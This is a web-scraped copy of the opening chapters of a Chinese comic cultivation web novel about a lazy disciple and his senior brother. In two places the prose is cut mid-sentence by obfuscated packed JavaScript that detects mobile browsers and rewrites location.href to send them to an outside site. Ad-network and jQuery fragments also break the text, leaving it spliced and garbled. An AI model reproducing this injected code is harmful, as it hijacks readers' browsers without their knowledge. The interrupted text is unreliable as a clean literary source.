《前任遍师门》 1. 一、灵泉 霁青道场的雪终年不化,是凡人们眼中的仙家象征。 可是白翎怀抱法器,深一脚浅一脚地走在雪地上,已在心中咒骂了师祖千百遍。 他上辈子是福利院长大的高中生,这辈子成了修真界咸鱼一条。本以为重活一世,不说跟动漫男主角一样变成龙傲天,好歹让他集齐双亲吧,没想到照样是孤儿,被师尊捡回洞府后,便开启了长达三百年的自生自灭之路。 往好了说,他算得上师出名门、吃喝不愁。 但往坏了说,师尊对他的放养程度和撒手人寰了没区别。要不是上面有个大师兄顶着,白翎早就在诸位仙友的内卷中投胎几回了。 今天是二月初一,道场发放灵泉的日子。 灵泉是天地间灵气滋生的源头,自然也是修真界最宝贵的资源,两千年前,被一手遮天的展月老祖收集起来,驭水逆流而上,凝成霁青山巅的冻雪。 自那之后,天下修士云集于霁青山,成就霁青道场。大能们自成派系,白翎正是展月一脉的第三代传人之一。 然而作为一条害苦了相思病、无心修炼的咸鱼,即便是展月老祖的徒孙,白翎也是道场里著名的笑话。 他日夜思念手机、泡面、互联网。 修仙有什么意思? 高考考砸了能复读,走火入魔可是要进轮回的。白翎目睹了无数山头的前辈陨落,甚至一些几十年前嘲笑他废物的后辈,几十年后被晴天霹雳劈死了,席都没得吃。 好吧,入乡随俗——这边称之为历劫天谴。 总之不管怎样,小命要紧。就算每个月第一天要登上苦寒的雪山,领取灵泉份额,路过的修士无不向他侧目、投以轻蔑的目光,白翎也打定主意,绝不跟他们卷生卷死。 话说自己三百岁了还没学会御剑,难道不该笑吗? 白翎想着忍不住乐出声,认为牛逼轰轰如展月老祖、也有看走眼的时候,让他这个徒孙入了门,简直晚节不保。 一个踏着登云步经过的修士见他走到一半突然大笑,转头对同伴说:“老祖那脑子没开光的徒孙终于疯了。” 白翎冲他俩比了个耶。 修士的同伴面露悚然,也与其低语:“快走,他结印咒我们。” 白翎:“……” 白翎放下沉重的法器,向远处的老祖石像双手比耶。 — 一只巨手搭在山道上,正是展月老祖当年集天下灵泉、凝霁青冻雪的场面。后人为其塑像,依山而建,因有灵气滋养,栩栩如生。 白翎每次领灵泉都要和石像打个照面,看得他巨物恐惧症快犯了。虽然老祖很帅,但白翎每次都在石像的手下排队,很担心老祖显灵,一巴掌拍死他这不学无术净丢脸的徒孙。 今日亦不例外,修士们已经排起了长龙。 道场各派系的掌门自然不会屈尊来领基础工资,师兄师姐们闭关的闭关、出山的出山,也是几十年不见踪迹。只有新入门的弟子,十几岁到一百岁不等,非常看重低保。 他们多半离家不久,半身尚在红尘,正是喜欢八卦和看热闹的年纪。白翎一个三百岁的大前辈月月跟他们混迹一处,永远是全场瞩目的焦点。 白翎抬起膝盖,将法器掂了掂,笑眯眯面对领完灵泉下山的仙友。他跟上班的打卡点似的,每个经过他的人都面色一变,或皱眉或瞪眼,好像在扫人脸识别。 白翎更觉得有意思了,笑得眉眼弯弯。 前面排队的吐槽:“你看展月徒孙那得意劲儿。我师姐和他同岁的,上天入地好不痛快,他什么德性?” 白翎便撇起嘴,挨个模仿下山的仙友。 后面排队的吐槽:“他扮鬼脸狂什么啊?沦落到和我们一块儿排队,绣花枕头一包草。” 怎么看见他表情的!白翎惊讶回头,见后排的仙友眼睛上架着一副叆叇,宝光流溢,显然是师门下发的上好法器。 太过分了。 从入门到现在,他唯一的法器是怀里装灵泉的盆! 白翎一面叹息,一面寻思“绣花枕头”不是夸他好看么?当即冲戴叆叇的仙友粲然一笑,把人家看得呆住。 白翎已转回头,慢慢随队伍移动。后排的仙友却半天没挪窝,直到被更后面的人催促,突然面红耳赤地奔出了队伍。 有人目睹了全过程,小声议论:“姓白的真讨厌。他自恃容貌漂亮,成天扰乱他人的道心。” “就是。难道老祖是看中他的姿色,才让他进门?” 白翎实在听不下去了,回身问:“你们觉得展月老祖是断袖啊?” 他声音清亮,霎时盖过了队伍的嘈杂。修士们耳聪目明,几乎上百人皆安静下来,屏息观望。 问题如此劲爆,后排的两名弟子猝不及防,磕磕绊绊地辩解道:“我、我们没说,是你说的!” “你们说他看中我的姿色才让我进门,不就是断袖呗。”白翎把法器往地上一放,大有不说清楚别想过的架势,抱臂道,“说嘛,不要怕呀,我看你们的意思不止是老祖断袖,还污蔑我们展月一脉师徒——啊不,祖孙乱_伦,对不对?” 仙友们的表情异彩纷呈,下山的都不御剑装逼了,老老实实走路。 后排的弟子更是慌乱,没想到人人看轻的笑柄突然犯病,逮着他俩不放。白翎始终笑嘻嘻的,反正师祖遗世、师尊静修、师兄闭关,换句话说,他现在是展月一脉的发言人啊!不随他编? 白翎说:“你们以往笑话我,说我的天赋和修为不行,我从不计较,因为没说错啊。但你们不能侮辱我家师祖,说他搞断袖就算了,怎么会和我搞呢?太扯了,太没礼貌了,我要修书给师尊,让他转告师祖!你们是哪个山头的?” 此话一出,堪比“你妈电话多少”。两个碎嘴弟子吓得魂不附体,灵泉也不要了,转身就跑。 白翎遗憾地摇摇头,拾起法器,擦拭沾上的碎雪。排队的修士们收敛神情,假装恢复正常,实则个个压着声音犯嘀咕。 “他今日怎么了?难道老祖真会罩着他不成?” “怎么可能,连他师尊都不鸟他。不过,倒是有个会罩着他的人,近日要出关了。” “谁啊?” “展月一脉第三代的首席大弟子——和姓白的注水货不一样,那位是同代无敌、真正的展月传人,诸葛悟,字冲玄的是也。” 闲言碎语落入耳中,似空中细雪,欲其停而其不止。 白翎一怔,立即掰着指头算,好像师兄是快出关了。距上次见到他,已过去整整七十年。 可惜另一只手要抱法器,限制了白翎的发挥。不等他确认师兄到底哪天回来,一名中年修士喝道:“磨蹭啥呢,你还要不要灵泉?” 原来已轮到白翎,他快步过去,把盆状的法器放在空置的水龙头下。他眼里的水龙头,其实是老祖石像托着的一尊十二头灵蛇,连通了地下融化的灵泉水。 中年修士已有七百岁高龄,进境无望,被道场打发来看灵泉。白翎曾以为,同是天涯沦落人,他该和自己结成忘年交才对。 不料修真界的中年危机会导致更年期提前,此人对他的态度格外恶劣,大概难得见到混得比自个儿还差的。 灵蛇像的脑袋张开口,泛着珠光的银色泉水汩汩流出,汇入永不满溢、但重量不变的宝盆。 旁边三名弟子带着一尊宝缸,品级不如白翎的盆儿,但他们接的灵泉是冒虹光的金色,惹得一片艳羡之声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792184|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没错,灵泉亦有等级之分。金虹为上品,银珠为中品,若非白翎师承展月一脉,便只能领到发荧光的绿色下品了,看着和生化武器似的。 碧荧灵泉不仅蕴含的灵气稀少,还很驳杂,需要费时费力地炼化。饶是如此,丢给道场外的散修们也会被抢得血雨腥风。许多散修死遁前,遗愿都是“下辈子金虹当水喝”。 可是在两百年前,白翎也曾有用不完的金虹灵泉。 直到一百年前,道场给他的金虹下降到每月一斛。 而从上个月开始,他按例去金虹灵泉的水龙头前接水时,遭到了中年修士耻笑,用一斛银珠灵泉打发了他。 今日则更甚:蛇脑袋的嘴才打开片刻,就咬上了。银泉水滴滴答答,白翎好笑地问:“不是吧,这就没啦?” 中年修士挥手驱赶:“给你再多也是浪费,别耽误其他仙友的时间。” 白翎说:“是,我修行慢,可是你一点灵泉不给,是想让我走火入魔吗?好歹给我点绿的吧!” “想要便自己下山去挣,道场不养闲人!而且今天发放的银珠灵泉就这么多,非要不可的话,你明天再来一趟。” 中年修士心里门清儿,修道之人离了灵气滋养,下场无非死字。对不会御剑的白翎而言,爬霁青山累得半死,明日却不得不来。然而明日复明日,明日何其多,明日来便一定能领到灵泉么? 隔壁水龙头的弟子怀抱玉瓶,正在接源源不断的银泉水。她与白翎对视一眼,面露尴尬,但一个十二三岁的小道童,哪里敢当众拆七百岁老道的台。 她嗫嚅道:“抱歉白前辈,门中师兄师姐都等着我回去,没有多的分给你……” 白翎才说了句“没关系,谢谢你啊”,后面的修士们全围上来,无声地逼迫他走人。 不过,他的宝盆论打架没用,论无赖能比过天王老子——除了他,谁都挪不动。 白翎气笑了,不明白中年修士抽什么风。他转眼一瞧,视线落在其衣上,忽然觉着纹样眼熟,似乎和刚才被他挤兑跑的两个弟子同出一门。 原来是为他的后辈们公报私仇来了。白翎一袭白布衣,在一众门徽加身、华服宝器的仙友当中,显得分外贫寒。 他叹气道:“非要把事情做绝吗?郑道长。其实我的份额从来没变过吧?我领的包括我师兄的份儿,只是他心疼我,把他那份全给我罢了。道场难道会短了他的东西?” 姓郑的中年修士脸色微变,无从反驳。 白翎乘胜追击,高声说:“你们看准我是个草包,还是个很无所谓的草包,所以一直私吞我的灵泉!我自知废物,拿太好的东西确实没用,才懒得跟你们计较。但你不能要我的命吧郑道长!” “你、你血口喷人——” 郑修士大惊失色,指着他还想再骂,却见白衣青年身子一歪,直接朝展月老祖的石像跪下了,声情并茂地磕头道: “师祖在上,求您显灵,救弟子一命吧!弟子与人为善,不争不抢,只想保小命一条,谁承想人善被人欺,欺了还要欺!天杀的郑老鬼,放任他同门晚辈污蔑你断袖,他们说你跟我搞断袖啊师祖——” 话音刚落,晴空电闪雷鸣。紫雾升腾,在一座远处的洞府上方聚集。 白翎定睛一看,怪了,正是他师门折雨洞天。莫非天空一声巨响,师祖闪亮登场?没人告诉他展月老祖是声控的啊。 修士们脸色骤变。 狂风自异象处袭来,一缕碎发落到白翎眼前,他撅唇一吹,将其呼到颊边。 郑修士倒退数步,煞白着面容喃喃道:“他真能召动老祖?不对,近日折雨洞天出关的另有其人……是诸葛悟,他师兄渡尘真人,诸葛冲玄!” 2. 二、师兄 师兄回来了? 白翎愣在地上,从几道人影间探出脑袋。天尽头,一道剑光直刺云霄,洞穿层层彩霞,带动漫山落叶起舞。下一刻,霁青山巅的落雪极速飞散,有一人从天而降,宛然现世。 是一名墨蓝道袍、边角织金的年轻道长,身量高挑,眉目含笑。他背后负着双剑,右手挽着拂尘,高冠博带,姿容清雅,在簌簌风雪间袍袖飞展,看向人群里的师弟。 他端立于老祖石像的肩头,然无人置喙。 修士们呼啦啦散开,好像偷灵泉被抓个现行似的,露出中间的白翎。 此时的白翎因刚才一番浮夸的表演,布衣散乱,满头毛绒绒的发丝乱翘,还跪没跪相地歪着。他呆呆望着自家师兄,少顷意识到散德行,忙咳嗽一声爬起来,背着手假装无事发生。 诸葛悟只扫众人一眼,已对现状了然于胸。他向郑修士微微一笑,道:“一别经年啊,郑师弟。” 论资排辈,他俩是正儿八经的同期入门修士。不过一个天纵奇才,拜在展月门下进境神速,一个泯然众人,守饮水机混吃等死。 郑修士张了张口,深深地作揖行礼:“见过诸葛真人。” 诸葛悟称他“师弟”,是因为他善。但若郑修士喊他师兄,那就是不要脸了,更何况场上只有一人能名正言顺地喊诸葛悟师兄,现下正溜达来溜达去,仿佛事不关己—— 白翎发现一个蛇像脑袋翻白眼,担忧地摸了摸它。 诸葛悟唤道:“阿翎。” 是祸躲不过,白翎笑嘻嘻地转身应道:“诶?好久不见呀师兄!” 诸葛悟维持着微笑,温声道:“过来我身边。” 白翎深吸一口气,迈着四方步磨蹭过去了,站在低师兄半米的地上,感觉自己像脱缰的宠物被重新系上绳。 他此刻的演技比起刚才召唤师祖,堪称拙劣。修士们看在眼里,眼皮子直跳。 被晾着的郑修士脸色发青,无地自容。诸葛悟喊他一声又不理他,转头去哄师弟玩儿,无形的羞辱更甚打杀百倍。 诸葛悟垂下眼帘,将手递给白翎。 白翎仰着沾了些雪花的脸看他,小心翼翼地搭了指尖上去,一道灵力直探灵台,令他一激灵。 诸葛悟无奈道:“无甚长进啊。” 白翎心说别人骂我就算了,怎么你也不给我面子!没想到不等他龇牙,师兄话锋一转,朝郑修士说:“你克扣阿翎的灵泉,私自降低他的份额和品质,请自去昭雪司述职论罪。” 郑修士忙道:“诸葛真人明鉴,每月融得的灵泉有限,白仙友不会御剑,总是来得最晚,故而所剩无几。我请他次日再来,诸位仙友皆能作证!” 没人敢站出来帮腔,但也没人反驳他。 白翎小声说:“你不昧我的灵泉,我肯定早学会御剑咯。” 诸葛悟道:“当真?” 白翎:“呃……这个嘛……” 诸葛悟对自家师弟的秉性心知肚明,笑了笑并不追问。 他淡声道:“若郑道长从无克扣,即便我师弟用灵泉沐浴沏茶,也断不至于修为停滞如此。他不计较,我却计较得很,还请郑道长移步说话。” 说罢拂尘一甩,符箓飞出,在郑修士身前化出一条门槛,显然跨过去便是昭雪司了。 郑修士着急道:“诸葛真人,你别欺人太甚!说到底我们是同辈,你能赶我不成?用金虹灵泉沐浴沏茶,亏你说得出口,我门中数十名嗷嗷待哺的后辈,哪个不比白翎天资更好、还勤学苦练,与其把灵泉给他浪费,倒不如分给别人!” “好像很有道理哎……”白翎摸着下巴思索,突然灵光一闪,握拳拍在掌心,说,“那你倒是给我留点续命啊!之前抠那么多,我哪次问你一个字了?刚才就给我几滴,你养鱼呀!” 然而围观的修士们听郑修士是为了糊师门后辈的口,一个个大为触动,为他求情,甚至让白翎理解一下别人家师兄的爱幼之心,不要再为难一个七百多岁的老前辈了。 在他们眼里,诸葛悟处置郑修士不是为难,而是秉公执法;祸水根源出在白翎身上,如果他识大局、得大体,就该高风亮节地表示原谅。 但白翎不吃这套,他摊手道:“老郑你养不起那么多师弟师妹、徒子徒孙,就不要收人家进门受罪嘛。学学我师兄,别说用灵泉沐浴沏茶了,我拿去浇花他都不带说的。” 确实不带说的,因为诸葛悟忙得很,属于上辈子那种只给钱不给爱的工作狂家长。他从不训诫白翎,毕竟聚少离多,动辄几十年不见面。 诸葛悟自然懂师弟的画外音,不在意地笑道:“郑道长还有何高见,请去昭雪司陈情吧。再会。” 一道剑气自平地起,击中郑修士的后心,将他推入门槛。人影消失,徒留一声惊叫,看得在场修士们冷汗涔涔。郑修士虽进境无望,但好歹是金丹末期,居然毫无招架之力。 白翎伸手阻拦,然而慢了一步。 诸葛悟道:“阿翎有何疑问?” “等一下啊,我还没骂够……” 诸葛悟:“……” 白翎遗憾地长叹一声。围观修士们以为他良心发现,不料是个落井下石的,神色愈发精彩。 白翎则发现师兄闭关七十载,出招更利落了。零帧起手、技能瞬发,完全不给对方打嘴炮的机会。 诸葛悟的指间弹出一缕华光,将飞雪旋成屏风,挡住人们窥探的视线。他勾动唇角,说:“走了,阿翎。以后不必再来领灵泉,师兄多的是。” 白翎心中磨牙:那你不早说?让我月月爬山这么多年。 诸葛悟仿佛会读心似的,笑道:“我以为你爬山爬累了,能学会御剑。” 白翎:“……” 白翎实在不好意思告诉他自己恐高,露出虚情假意的灿笑。诸葛悟又将拂尘轻扬,把他化作一只龇牙咧嘴的绒布偶,收入袖中,带他回师门洞府。 — 折雨洞天乃是全修真界有名的风水宝地,占地数千亩,内含矿藏秘境无数。据说洞天深处有片嵌玉湖,是一整汪金虹灵泉,二代单传弟子、也就是白翎的师尊整日在湖上冥思。 而在天穹顶端、风雷汇聚之处,正是展月老祖的栖身所。他在云端吐纳,上千年不曾睁眼,相传待他睁眼之日,便是飞升成圣之时。 此时日影西斜,黄昏的折雨洞天风光如画。诸葛悟化作剑影,俶尔回到三代弟子居室。 他们住在仙去山的山腰,廊舍环山而建,依着一株九百岁古榕。榕须垂帘,掩映了一望无际的碧涛山林,鲛烛灯长明不灭,照出疏于收拾、但只乱不脏的厅堂。 白翎住西厢,诸葛悟住东厢,厅堂在中间。绒布偶被放出来后,在地上扭动几步,砰然化回原形。 白翎抻了个懒腰,忽然想起什么道:“我的盆!” “益善盂,阿翎。那不是盆。”诸葛悟在堂上坐了,抬手将收入芥子袋的法器还到白翎身前。说罢,他亲手沏茶,竟然真倒了一壶金虹灵泉煮上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792185|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“盂什么的好像要饭道具……”白翎一步分作两步地挪过去,说,“你从师尊的嵌玉湖盛的吧,真用来泡茶啊?” “给你炼,你会炼么?阿翎,怎么一别七十载,与师兄生疏了。你以前没这么懂事。”诸葛悟面带微笑,拾起茶筅道,“反正湖水取之不尽,用之不竭,不必心疼。” “我不是心疼。只是师尊天天在湖上游荡,这算不算他的洗脚水?”白翎诚实发问。 诸葛悟:“……” 诸葛悟手上动作一停,抬起眼看着他。 白翎:“也可能是洗澡水?” 诸葛悟:“………………” 以好脾气著称的师兄将沏完的茶推至他面前,温声道:“我不喝了,你喝。” 白翎举手投降,道:“当我没说。” 话虽如此,白翎已做不到毫无芥蒂地喝茶了。当着师兄的面,他不得不老老实实打坐,开始吸纳灵泉中的灵气。 炼化灵泉是件细致活儿,对白翎这种笨手而言,本该花上数个时辰。不料他运功后,发现师兄刚才泡茶只是表面,实则替他把灵泉炼过了,现在只消吸收灵气就行,害他面色一红。 白翎不爱出门,皮肤白得像暖玉。稍微泛点绯色,便很明显。 诸葛悟问:“现在知道丢脸了?我在谈玄会上偶遇广寒道姑,见她帮三岁的女儿修炼,才学了来。” 白翎正在驱动灵气游走周天,半无意识地说:“以后咱们各论各的。你喊我弟,我喊你妈……” 诸葛悟挑了下眉。 师兄弟二人互不干扰,一个在堂前静坐纳灵,一个去廊下魂魄出窍,分神于道场的藏书阁,查阅修真界近年简史。 天下太平已久,史书所记的,无非是哪方有高人横空出世、哪派有大能寿满羽化,邪道偶生异动,皆未翻出什么大风浪。 估摸着白翎将灵气吸纳完了,诸葛悟回神步入堂内。 果不其然,不省心的师弟已经四仰八叉倒在软垫上。听见脚步声,他一个鲤鱼打挺,手忙脚乱地藏了什么到身后。 诸葛悟好笑地伸出手,道:“拿来。” 白翎不服气地交上去一卷原稿。 “《论有一群牛马师弟是什么体验》?” 诸葛悟看见这古怪的书名便晓得,定是自家师弟的大作。他无聊时净写些不入流的话本子,化名发表。道场仙友们对其不屑一顾,散修们倒是颇为欢迎,很能满足他们对道场生活的幻想。 不过值得一提的是,白翎最引人注目的不是书名,而是笔名。 早年为了泄愤,他化名叫“展月老祖的宝贝”,被师尊的天外飞剑毒打一顿;后来改成“梦微道君的心肝”,又被师尊——也就是梦微道君本人的天外飞剑再次毒打一顿。 诸葛悟把稿件一翻,末页署名“渡尘真人的祖宗”。他哈哈一声,道:“你很快可以换新名字了。” 白翎不敢吱声,但求他别手滑毁了自己的存稿。放在上辈子,他连男频爽文都没耐心看,只喜欢刷短视频,这辈子写点知乎体胡编乱造,却成了唯一的娱乐手段。 诸葛悟一边一目十行,一边道:“我们要有三师弟了。” 白翎:“啊?” “师祖两百年前算出他有仙骨,钦点他入门。我此时出关,正为此事。既然阿翎这样希望有师弟为你洗衣做饭、扫地焚香、铺被暖床、歌功颂德……”诸葛悟翻着翻着,不禁笑了,合起书稿还给他,说,“我们便一同下山,去接师弟回来。” 3. 三、裴家 修真界神州大地,幅员辽阔。虽然和上辈子地理课教的千差万别,但地名风格相差无几,时常让白翎觉得亲切。 比如此行的目的地,叫做洛东城,因位于洛水东岸而得名。 未来师弟出自洛东裴家,是乃至其所在的天照郡都有名的大户,据说富比国邦,极尽豪奢。 白翎仅从诸葛悟口中盘问出只言片语,再多的师兄也懒得交代,让他届时亲自看。 修士御剑一息千里,白翎以前乘坐诸葛悟的袖子,皆是须臾到站,今日竟然憋闷了半刻钟,才觉徐徐降落。 道场有不成文的规定:闹市不得御剑,以免误伤。大部分有素质的修士一旦进入凡人聚居的城郡,便会步行。 白翎恢复原貌,被迎面而来的阳光晃了下眼。时值初春,敞亮的街市上人来人往,吆喝叫卖声络绎不绝。孩子们举着糖葫芦跑过,烟火气息像一锅沸水,顷刻冲散了久居山间的冷清。 白翎深吸一口新鲜空气,闻到冬雪初化、新芽萌发的清香。他两只眼睛弯成月牙,忍不住冲诸葛悟闷笑了两声。 诸葛悟未作乔装改扮,一身墨蓝织金的法衣站在树下,通身气度超然,引得百姓们频频看顾。 他问白翎:“你也想吃么?” 白翎:“什么?” “糖葫芦。” 白翎乐道:“师兄啊,我三百岁了!” 他转头刚要迈步,被诸葛悟捏着后衣领提回来,转到另一个方向。 白翎不挑,逛哪边都行,兴冲冲踏上洛东城的长街。 反正诸葛悟带了地图,还给报销。白翎奔到糖画铺子前,抢了老板的工具,亲手画了个奥特曼;又挤进看杂耍的人群,一语道破“空手入油锅”的诡计,被百戏人提棍子轰走。 他路过一个不知为何嗷嗷哭的娃娃,把一口没吃的奥特曼糖画塞给他,语重心长地说“此乃展月老祖圣像”。白翎本还想现场布道,示范发射激光的手势并称其为“老祖炎拳”,被看不下去的诸葛悟拎走了。 诸葛悟道:“师弟。” 白翎:“哎?” “你自创的结印手势很有新意,但,能否不用师祖冠名。” 白翎纳闷道:“你很爱师祖?我们出自他门下,不用他的名儿用谁的名儿啊。” “我比较敬重师祖。阿翎在我面前不敬,也没什么,不过,我看隔壁山头‘驾鹤道君’的名头也很响亮。”诸葛悟与他同行,微微笑道。 白翎思考了一下,道:“不要,驾鹤不吉利。其实师尊的道号不错,但是我怕他的飞剑揍我。师兄啊,下次用你的道号行吗?” 诸葛悟:“……就用师祖的吧。” 白翎笑眯眯地跑走了,沿路霍霍摊位,激起一片“哎你这人”、“臭小子没见过痒痒挠啊!”的声音。 不过他生得俊俏,眉眼弯弯煞是可亲,头发颜色也偏浅,衬着一身旧但干净的白衣,让百姓们吹胡子瞪眼、却说不出重话。 而且诸葛悟专门兑了一串铜钱,供他作撒欢费。每个被骚扰过的铺子都会得到几枚铜板,对小本生意来说,也算意外之喜了。 终于走到清净处,道旁古树参天,华盖如云。笔直的砖路上留着淡淡车辙,人影越发稀少。夹道的院墙白泥黛瓦,一眼望不到头。 白翎背着手晃悠,问诸葛悟:“师兄,我们是不是快到了?” “嗯,已经是裴家的地界。左边是旧宅故居,右边是新楼别院,我们往右。” 白翎不由得想起自己的尘世凡家。 据门中寥寥的记载,他是个弃婴,师尊在大雪天捡的他。因他不哭不闹,引起师尊留意,故而成就一段仙缘。 与将要进门的三师弟比起来,简直天上地下。 白翎说不羡慕是假的,毕竟两辈子净吃苦了。若是捧个大少爷回去,师兄又闭关好几十年,他还修个鸟仙啊,混日子都不成,得给大少爷做狗。 罢了,罢了,做狗就做狗! 白翎在心中呐喊,一定会做得让大少爷满意的——谁让他蹲了三百年大牢,迫切渴望获得一名狱友呢? 胡思乱想间,嘈杂人声传来。只见朱漆的三人高、八开扇大门前,停着几驾马车。 白翎眼尖,一眼认出了车厢上的旗帜,道:“咦?怎么是……” 诸葛悟淡淡地说:“原来师祖看中的东西,也有人敢抢。” 青绿色的旗子在空中翻动,绣着白花腾蛇。白翎不禁奇了,怀疑诸葛悟有什么言灵:眼前这批人马,正出自他刚刚提到的驾鹤道君门下。 驾鹤道君与他俩的师尊同辈,两脉的洞府毗邻。其门下弟子从不把白翎放在眼里,也不屑于嘲讽,但他们个个视诸葛悟为劲敌,记了许多单方面的宿仇。 比如诸葛悟结丹时,因其破境最快,先一步夺得了许多结丹所需的天材地宝。 驾鹤一脉的弟子只能跟在后面捡漏,用他看不上的次品、或者用不完的残品、甚至功效不如意的废品。 想抢抢不过,要买买不起,对他们来说,自然是血海深仇了。 白翎理解不了卷王,但背后蛐蛐师兄的能好到哪去?现在还来跟他抢师弟,更是哪哪看不顺眼。 对方也发现了他们,立时安静。统一穿着仙鹤纹碧衣的少男少女看过来,目光集中在诸葛悟身上,行礼道:“见过渡尘真人。” 他们低头抱拳,似满塘荷叶倒伏,露出当中的荷花。一名水红裙的女修擦拭着手中仙剑,眉心一点花钿闪亮。 她向白翎也笑了笑,说:“难得见真人携师弟一同出行。” 此人白翎是知道的。 以前驾鹤一脉的弟子采珠贝,进了折雨洞天地界,白翎不得不去提醒。弟子们嫌他小气,结果隔天被他家的大师姐赶来赔礼。 虽说弟子们丢下礼物就跑了,但白翎记住了对门大师姐的道号:漱玉真人。看来是不幸中的万幸,他们碰上了驾鹤一脉难得的正常人。 诸葛悟亦笑道:“诸位不必拘礼。在此巧遇,不知诸位是为何而来?” 漱玉真人说:“自然是为裴响——二百年前,被展月老祖探出仙骨的那位。” 诸葛悟道:“哦?既然真人得到了风声,想必也清楚,他是老祖钦点入门的三代弟子。” “点是点了,他便非去不可么?”漱玉真人不卑不亢地反问,“良禽择木而栖。通情达理如诸葛道长,想必不会为难一个涉世未深的孩子。” 白翎在旁看着,寻思师兄是被架起来了呀。看来名声太好也不行,换作是他的话,强抢民男只是基础操作。 不过诸葛悟并无与人在大门口争执的爱好,一伸手道:“请。” 漱玉真人点点头,转身踏入裴家大门。管家模样的家仆守望多时,见二位仙长化干戈为玉帛,没有波及到自家的匾额,擦了把冷汗。 驾鹤一脉的弟子紧跟大师姐,不敢瞪诸葛悟,个个如临大敌地望着白翎。白翎觉着好笑,心说莫非里面有偷采珠贝被他逮到的? 没办法啊,真不是他小气。属实是山居生活把他憋坏了,况且一枚珠贝的市价三十金呢。 管 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家在门侧不停行礼,待驾鹤一脉的过去,忙凑上前来问好:“见过渡尘真人,还有这位……这位……” 白翎区区一个筑基期,连取道号的资格都没有,说:“我姓白。” “啊,白仙长。裴家等你们前来,已有整整两百年了。说来抱歉,我们本该履约,婉拒其他派系的好意,不过……” 管家面露愁容,道:“罢了,请二位先随我入府吧。家主已在正厅恭候大驾,请二位赏光用茶。” 白翎看出管家有苦衷,但他不怕有事,就怕事不够大、不够精彩。他握住管家的手上下摇晃,道:“好啊好啊,我最爱喝茶!” 诸葛悟对不知所措的管家笑了下,缓步前行。正当白翎东张西望之际,听得他传音道:“阿翎。” 白翎在心里“嗯?”了一声,以为师兄要自己正常点。 不料诸葛悟说:“此地,有很深重的怨气。” 白翎:嗯??? 他眉梢一扬,更细致地观察起来。只见偌大的宅院里,起先是疏林草地、山石流泉,迤逦的廊桥掩映在布景当中。而后逐渐出现屋宇,曲径所至,雕梁画栋。 白翎好几次以为到正厅了,结果全都路过。终于,一阵潺潺水声传来,宅邸中竟然出现了一湾清溪。他们行过玉带拱桥,方见到一座碧瓦飞甍的馆阁,在垂绦杨柳间肃立。 四名侍女在门口屈膝,齐声道:“拜见仙长。” 白翎一面回礼,一面纳闷儿:怨气呢? 走这么久,他穷鬼仇富的怨气倒是被激发出来了,可裴府一派敞亮,不见半点阴森。 师兄弟二人被引过影壁,迎进前堂。到了室内,又是一派与外面不同的典雅奢华。 白翎不禁感叹,唯有修炼到师兄的地步,才能以气场压过金银俗物啊。他一身布衣、两手空空,好像来打秋风似的。 如此一来,注定要给小师弟当狗了。 一道谦和持重的女声在堂上响起:“见过渡尘真人,白仙长。在下裴声,两位请坐。” 只见帐幔从三丈高的穹顶垂下,翩翩然曳地。主人家的上手端坐一名女子,柳眉星目,起身向他们示意。 想来正是裴家的现任家主,白翎在逛街时打听过,她是未来小师弟的姐姐,执掌裴家已有三十余年。凡人若有财势,也可服用灵丹,延年益寿。虽最多不超过三百岁,但像裴声一般,外貌二十出头,实则阅历颇深了。 白翎没看见驾鹤一脉的家伙们,正觉奇怪,便见裴声向她的侍女垂了下眼。少顷,侍女领着漱玉真人、以及她的六七名师弟师妹入内,列座于白翎二人的下手。 原来他们先到,不过被裴声暂搁在侧厅,等展月一脉的坐了,才请他们进来。 白翎尴尬,不知自己坐得比漱玉真人高,是否合规矩。她本人无甚反应,可她的晚辈们已经怒目而视。 裴声客气问道:“白仙长不喜案上的桃酿吗?听闻您心性烂漫,在下特意命人备了洛东城春天的应季甜饮,望您品鉴。” 白翎这才注意到,仅自己手边摆了一盏颜色漂亮的果汁,证明座次是有意安排。 他承了裴声好意,笑眯眯地说:“多谢家主。我们是来接师弟回宗门的,请问他在哪儿呀?” 裴声叹息一声,仿佛在斟酌用词。 少顷,她沉声说:“在下请诸位仙长小坐,正因为此。舍弟裴响,从三日前起,昏睡不醒,已请诸多良医看过,药石罔效。而且自他沉眠那天开始,府上……” 她停顿片刻,道:“府上每日皆有人死去。” 4. 四、师弟 听见师弟长睡不醒,白翎险些碰翻桃酿。 听见连续三天、每天死人,漱玉真人那边响起一连串杯盘狼藉之声。 她的师弟师妹们手忙脚乱,收拾桌面。一群初出茅庐的崽子,平日被护在前辈的羽翼下,估计没见识过什么凶案。 至于白翎,正在努力忍住自己过于兴奋的表情,佯装担忧道:“是为什么呢?有请其他修士来看过吗?” “府上本有一位十里八乡著名的风水大师,对玄门亦有了解,然而他刚查出舍弟是遭人下咒,便……成了第二日的死者。” 裴声端起茶碗,神情略显阴郁。显然她几日未有好觉,向斜下方一人说道:“舅舅,我喉咙不适,劳烦你向仙长们交代吧。” 一个衣着华贵的中年人起立,向两位真人拱了拱手。 